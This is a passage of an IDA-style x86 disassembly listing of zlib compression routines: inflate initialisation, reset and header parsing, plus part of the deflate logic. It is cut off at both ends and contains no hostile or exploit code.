		xor	eax, eax
		jmp	loc_4C0916
; ---------------------------------------------------------------------------


loc_4C07A4:				; CODE XREF: .text:004C079Bj
		jmp	short loc_4C07CE
; ---------------------------------------------------------------------------


loc_4C07A6:				; CODE XREF: .text:004C066Dj
		mov	edx, [ebp+8]
		mov	dword ptr [edx+60h], 1
		mov	eax, [ebp+8]
		mov	ecx, [eax+64h]
		add	ecx, 1
		mov	edx, [ebp+8]
		mov	[edx+64h], ecx
		mov	eax, [ebp+8]
		mov	ecx, [eax+6Ch]
		sub	ecx, 1
		mov	edx, [ebp+8]
		mov	[edx+6Ch], ecx


loc_4C07CE:				; CODE XREF: .text:loc_4C0661j
					; .text:loc_4C07A4j
		jmp	loc_4C0237
; ---------------------------------------------------------------------------


loc_4C07D3:				; CODE XREF: .text:004C0271j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+60h], 0
		jz	loc_4C088B
		mov	ecx, [ebp+8]
		mov	edx, [ecx+64h]
		mov	eax, [ebp+8]
		mov	ecx, [eax+30h]
		mov	dl, [ecx+edx-1]
		mov	[ebp-1Ch], dl
		mov	eax, [ebp+8]
		mov	ecx, [eax+1698h]
		mov	edx, [ebp+8]
		mov	eax, [edx+169Ch]
		mov	word ptr [eax+ecx*2], 0
		mov	ecx, [ebp+8]
		mov	edx, [ecx+1690h]
		mov	eax, [ebp+8]
		mov	ecx, [eax+1698h]
		mov	al, [ebp-1Ch]
		mov	[edx+ecx], al
		mov	ecx, [ebp+8]
		mov	edx, [ecx+1698h]
		add	edx, 1
		mov	eax, [ebp+8]
		mov	[eax+1698h], edx
		mov	ecx, [ebp-1Ch]
		and	ecx, 0FFh
		mov	edx, [ebp+8]
		mov	ax, [edx+ecx*4+8Ch]
		add	ax, 1
		mov	ecx, [ebp-1Ch]
		and	ecx, 0FFh
		mov	edx, [ebp+8]
		mov	[edx+ecx*4+8Ch], ax
		mov	eax, [ebp+8]
		mov	ecx, [eax+1694h]
		sub	ecx, 1
		mov	edx, [ebp+8]
		xor	eax, eax
		cmp	[edx+1698h], ecx
		setz	al
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword ptr [ecx+60h], 0


loc_4C088B:				; CODE XREF: .text:004C07DAj
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+54h], 0
		jl	short loc_4C08A5
		mov	eax, [ebp+8]
		mov	ecx, [eax+30h]
		mov	edx, [ebp+8]
		add	ecx, [edx+54h]
		mov	[ebp-2Ch], ecx
		jmp	short loc_4C08AC
; ---------------------------------------------------------------------------


loc_4C08A5:				; CODE XREF: .text:004C0892j
		mov	dword ptr [ebp-2Ch], 0


loc_4C08AC:				; CODE XREF: .text:004C08A3j
		xor	eax, eax
		cmp	dword ptr [ebp+0Ch], 4
		setz	al
		push	eax
		mov	ecx, [ebp+8]
		mov	edx, [ebp+8]
		mov	eax, [ecx+64h]
		sub	eax, [edx+54h]
		push	eax
		mov	ecx, [ebp-2Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_4C20F2
		add	esp, 10h
		mov	eax, [ebp+8]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+64h]
		mov	[eax+54h], edx
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		push	ecx
		call	sub_4BEF80
		add	esp, 4
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_4C0907
		xor	eax, eax
		cmp	dword ptr [ebp+0Ch], 4
		setnz	al
		dec	eax
		and	eax, 2
		jmp	short loc_4C0916
; ---------------------------------------------------------------------------


loc_4C0907:				; CODE XREF: .text:004C08F6j
		mov	eax, [ebp+0Ch]
		sub	eax, 4
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		add	eax, 3


loc_4C0916:				; CODE XREF: .text:004C0263j
					; .text:004C065Cj ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C0920	proc near		; CODE XREF: sub_4C09F4+15Ap
					; .text:004C142Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_4C0932
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4C0939


loc_4C0932:				; CODE XREF: sub_4C0920+7j
		mov	eax, 0FFFFFFFEh
		jmp	short loc_4C0989
; ---------------------------------------------------------------------------


loc_4C0939:				; CODE XREF: sub_4C0920+10j
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+14h], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], 0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+0Ch]
		neg	eax
		sbb	eax, eax
		and	eax, 7
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx], eax
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+14h]
		push	eax
		call	sub_4C4D60
		add	esp, 0Ch
		xor	eax, eax


loc_4C0989:				; CODE XREF: sub_4C0920+17j
		pop	ebp
		retn
sub_4C0920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C098B	proc near		; CODE XREF: sub_49034E+1D8p
					; sub_4C09F4+E6p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_4C09A6
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_4C09A6
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+24h], 0
		jnz	short loc_4C09AD


loc_4C09A6:				; CODE XREF: sub_4C098B+7j
					; sub_4C098B+10j
		mov	eax, 0FFFFFFFEh
		jmp	short loc_4C09F2
; ---------------------------------------------------------------------------


loc_4C09AD:				; CODE XREF: sub_4C098B+19j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_4C09CF
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+14h]
		push	ecx
		call	sub_4C629D
		add	esp, 8


loc_4C09CF:				; CODE XREF: sub_4C098B+2Cj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_0]
		call	dword ptr [eax+24h]
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+1Ch], 0
		xor	eax, eax


loc_4C09F2:				; CODE XREF: sub_4C098B+20j
		pop	ebp
		retn
sub_4C098B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C09F4	proc near		; CODE XREF: sub_4C0B5A+11p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jz	short loc_4C0A14
		mov	eax, [ebp+arg_8]
		movsx	ecx, byte ptr [eax]
		movsx	edx, byte_4EDDF0
		cmp	ecx, edx
		jnz	short loc_4C0A14
		cmp	[ebp+arg_C], 38h
		jz	short loc_4C0A1E


loc_4C0A14:				; CODE XREF: sub_4C09F4+7j
					; sub_4C09F4+18j
		mov	eax, 0FFFFFFFAh
		jmp	loc_4C0B58
; ---------------------------------------------------------------------------


loc_4C0A1E:				; CODE XREF: sub_4C09F4+1Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_4C0A2E
		mov	eax, 0FFFFFFFEh
		jmp	loc_4C0B58
; ---------------------------------------------------------------------------


loc_4C0A2E:				; CODE XREF: sub_4C09F4+2Ej
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], 0
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+20h], 0
		jnz	short loc_4C0A55
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+20h], offset sub_4C169E
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+28h], 0


loc_4C0A55:				; CODE XREF: sub_4C09F4+4Bj
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+24h], 0
		jnz	short loc_4C0A68
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+24h], offset sub_4C16C7


loc_4C0A68:				; CODE XREF: sub_4C09F4+68j
		push	18h
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	[ecx+1Ch], eax
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_4C0A95
		mov	eax, 0FFFFFFFCh
		jmp	loc_4C0B58
; ---------------------------------------------------------------------------


loc_4C0A95:				; CODE XREF: sub_4C09F4+95j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx+14h], 0
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax+0Ch], 0
		cmp	[ebp+arg_4], 0
		jge	short loc_4C0ACA
		mov	ecx, [ebp+arg_4]
		neg	ecx
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax+0Ch], 1


loc_4C0ACA:				; CODE XREF: sub_4C09F4+BFj
		cmp	[ebp+arg_4], 8
		jl	short loc_4C0AD6
		cmp	[ebp+arg_4], 0Fh
		jle	short loc_4C0AE9


loc_4C0AD6:				; CODE XREF: sub_4C09F4+DAj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C098B
		add	esp, 4
		mov	eax, 0FFFFFFFEh
		jmp	short loc_4C0B58
; ---------------------------------------------------------------------------


loc_4C0AE9:				; CODE XREF: sub_4C09F4+E0j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [ebp+arg_4]
		mov	[eax+10h], ecx
		mov	edx, 1
		mov	ecx, [ebp+arg_4]
		shl	edx, cl
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+0Ch]
		neg	edx
		sbb	edx, edx
		not	edx
		and	edx, offset sub_4C16E0
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C4E17
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx+14h], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	dword ptr [ecx+14h], 0
		jnz	short loc_4C0B4A
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C098B
		add	esp, 4
		mov	eax, 0FFFFFFFCh
		jmp	short loc_4C0B58
; ---------------------------------------------------------------------------


loc_4C0B4A:				; CODE XREF: sub_4C09F4+141j
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C0920
		add	esp, 4
		xor	eax, eax


loc_4C0B58:				; CODE XREF: sub_4C09F4+25j
					; sub_4C09F4+35j ...
		pop	ebp
		retn
sub_4C09F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C0B5A	proc near		; CODE XREF: sub_49034E+19Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0Fh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C09F4
		add	esp, 10h
		pop	ebp
		retn
sub_4C0B5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C0B75	proc near		; CODE XREF: sub_49034E+1B1p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_4C0B92
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_4C0B92
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0
		jnz	short loc_4C0B9C


loc_4C0B92:				; CODE XREF: sub_4C0B75+Aj
					; sub_4C0B75+13j
		mov	eax, 0FFFFFFFEh
		jmp	loc_4C120A
; ---------------------------------------------------------------------------


loc_4C0B9C:				; CODE XREF: sub_4C0B75+1Bj
		xor	edx, edx
		cmp	[ebp+arg_4], 4
		setnz	dl
		dec	edx
		and	edx, 0FFFFFFFBh
		mov	[ebp+arg_4], edx
		mov	[ebp+var_8], 0FFFFFFFBh


loc_4C0BB3:				; CODE XREF: sub_4C0B75:loc_4C1205j
		mov	eax, 1
		test	eax, eax
		jz	loc_4C120A
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0Dh
		ja	loc_4C11FE
		mov	ecx, [ebp+var_C]
		jmp	ds:off_4C120E[ecx*4]


loc_4C0BDF:				; DATA XREF: .text:off_4C120Eo
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_4C0BF0
		mov	eax, [ebp+var_8]
		jmp	loc_4C120A
; ---------------------------------------------------------------------------


loc_4C0BF0:				; CODE XREF: sub_4C0B75+71j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		xor	eax, eax
		mov	al, [edx]
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+4]
		and	eax, 0Fh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx], edx
		cmp	eax, 8
		jz	short loc_4C0C6C
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 0Dh
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+18h], offset aUnknownCompres ; "unknown compression method"
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax+4], 5
		jmp	loc_4C1205
; ---------------------------------------------------------------------------


loc_4C0C6C:				; CODE XREF: sub_4C0B75+CDj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+4]
		shr	eax, 4
		add	eax, 8
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	eax, [edx+10h]
		jbe	short loc_4C0CAE
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 0Dh
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+18h], offset aInvalidWindowS ; "invalid window size"
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx+4], 5
		jmp	loc_4C1205
; ---------------------------------------------------------------------------


loc_4C0CAE:				; CODE XREF: sub_4C0B75+10Fj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 1


loc_4C0CBA:				; CODE XREF: sub_4C0B75+63j
					; DATA XREF: .text:004C1212o
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4C0CCB
		mov	eax, [ebp+var_8]
		jmp	loc_4C120A
; ---------------------------------------------------------------------------


loc_4C0CCB:				; CODE XREF: sub_4C0B75+14Cj
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	eax, [ecx+4]
		shl	eax, 8
		add	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 1Fh
		div	ecx
		test	edx, edx
		jz	short loc_4C0D4C
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 0Dh
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+18h], offset aIncorrectHeade ; "incorrect header	check"
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax+4], 5
		jmp	loc_4C1205
; ---------------------------------------------------------------------------


loc_4C0D4C:				; CODE XREF: sub_4C0B75+1ADj
		mov	ecx, [ebp+var_4]
		and	ecx, 20h
		test	ecx, ecx
		jnz	short loc_4C0D67
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 7
		jmp	loc_4C1205
; ---------------------------------------------------------------------------


loc_4C0D67:				; CODE XREF: sub_4C0B75+1DFj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 2


loc_4C0D73:				; CODE XREF: sub_4C0B75+63j
					; DATA XREF: .text:004C1216o
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4C0D84
		mov	eax, [ebp+var_8]
		jmp	loc_4C120A
; ---------------------------------------------------------------------------


loc_4C0D84:				; CODE XREF: sub_4C0B75+205j
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		xor	ecx, ecx
		mov	cl, [eax]
		shl	ecx, 18h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[eax+8], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 3


loc_4C0DD6:				; CODE XREF: sub_4C0B75+63j
					; DATA XREF: .text:004C121Ao
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4C0DE7
		mov	eax, [ebp+var_8]
		jmp	loc_4C120A
; ---------------------------------------------------------------------------


loc_4C0DE7:				; CODE XREF: sub_4C0B75+268j
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		xor	ecx, ecx
		mov	cl, [edx]
		shl	ecx, 10h
		mov	edx, [eax+8]
		add	edx, ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	[ecx+8], edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 4


loc_4C0E44:				; CODE XREF: sub_4C0B75+63j
					; DATA XREF: .text:004C121Eo
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4C0E55
		mov	eax, [ebp+var_8]
		jmp	loc_4C120A
; ---------------------------------------------------------------------------


loc_4C0E55:				; CODE XREF: sub_4C0B75+2D6j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		xor	edx, edx
		mov	dl, [eax]
		shl	edx, 8
		mov	eax, [ecx+8]
		add	eax, edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx+8], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 5


loc_4C0EB2:				; CODE XREF: sub_4C0B75+63j
					; DATA XREF: .text:004C1222o
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_4C0EC3
		mov	eax, [ebp+var_8]
		jmp	loc_4C120A
; ---------------------------------------------------------------------------


loc_4C0EC3:				; CODE XREF: sub_4C0B75+344j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		xor	eax, eax
		mov	al, [ecx]
		mov	ecx, [edx+8]
		add	ecx, eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[eax+8], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+8]
		mov	[eax+30h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 6
		mov	eax, 2
		jmp	loc_4C120A
; ---------------------------------------------------------------------------


loc_4C0F36:				; CODE XREF: sub_4C0B75+63j
					; DATA XREF: .text:004C1226o
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 0Dh
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aNeedDictionary ; "need dictionary"
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx+4], 0
		mov	eax, 0FFFFFFFEh
		jmp	loc_4C120A
; ---------------------------------------------------------------------------


loc_4C0F63:				; CODE XREF: sub_4C0B75+63j
					; DATA XREF: .text:004C122Ao
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+14h]
		push	ecx
		call	sub_4C4F0F
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFDh
		jnz	short loc_4C0FA4
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 0Dh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx+4], 0
		jmp	loc_4C1205
; ---------------------------------------------------------------------------


loc_4C0FA4:				; CODE XREF: sub_4C0B75+40Fj
		cmp	[ebp+var_8], 0
		jnz	short loc_4C0FB0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax


loc_4C0FB0:				; CODE XREF: sub_4C0B75+433j
		cmp	[ebp+var_8], 1
		jz	short loc_4C0FBE
		mov	eax, [ebp+var_8]
		jmp	loc_4C120A
; ---------------------------------------------------------------------------


loc_4C0FBE:				; CODE XREF: sub_4C0B75+43Fj
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		add	eax, 4
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+14h]
		push	ecx
		call	sub_4C4D60
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_4C1001
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 0Ch
		jmp	loc_4C1205
; ---------------------------------------------------------------------------


loc_4C1001:				; CODE XREF: sub_4C0B75+479j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 8


loc_4C100D:				; CODE XREF: sub_4C0B75+63j
					; DATA XREF: .text:004C122Eo
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_4C101E
		mov	eax, [ebp+var_8]
		jmp	loc_4C120A
; ---------------------------------------------------------------------------


loc_4C101E:				; CODE XREF: sub_4C0B75+49Fj
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		xor	eax, eax
		mov	al, [edx]
		shl	eax, 18h
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx+8], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 9


loc_4C1070:				; CODE XREF: sub_4C0B75+63j
					; DATA XREF: .text:004C1232o
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_4C1081
		mov	eax, [ebp+var_8]
		jmp	loc_4C120A
; ---------------------------------------------------------------------------


loc_4C1081:				; CODE XREF: sub_4C0B75+502j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		xor	eax, eax
		mov	al, [ecx]
		shl	eax, 10h
		mov	ecx, [edx+8]
		add	ecx, eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[eax+8], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 0Ah


loc_4C10DE:				; CODE XREF: sub_4C0B75+63j
					; DATA XREF: .text:004C1236o
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4C10EF
		mov	eax, [ebp+var_8]
		jmp	loc_4C120A
; ---------------------------------------------------------------------------


loc_4C10EF:				; CODE XREF: sub_4C0B75+570j
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		xor	ecx, ecx
		mov	cl, [edx]
		shl	ecx, 8
		mov	edx, [eax+8]
		add	edx, ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	[ecx+8], edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		add	eax, 1
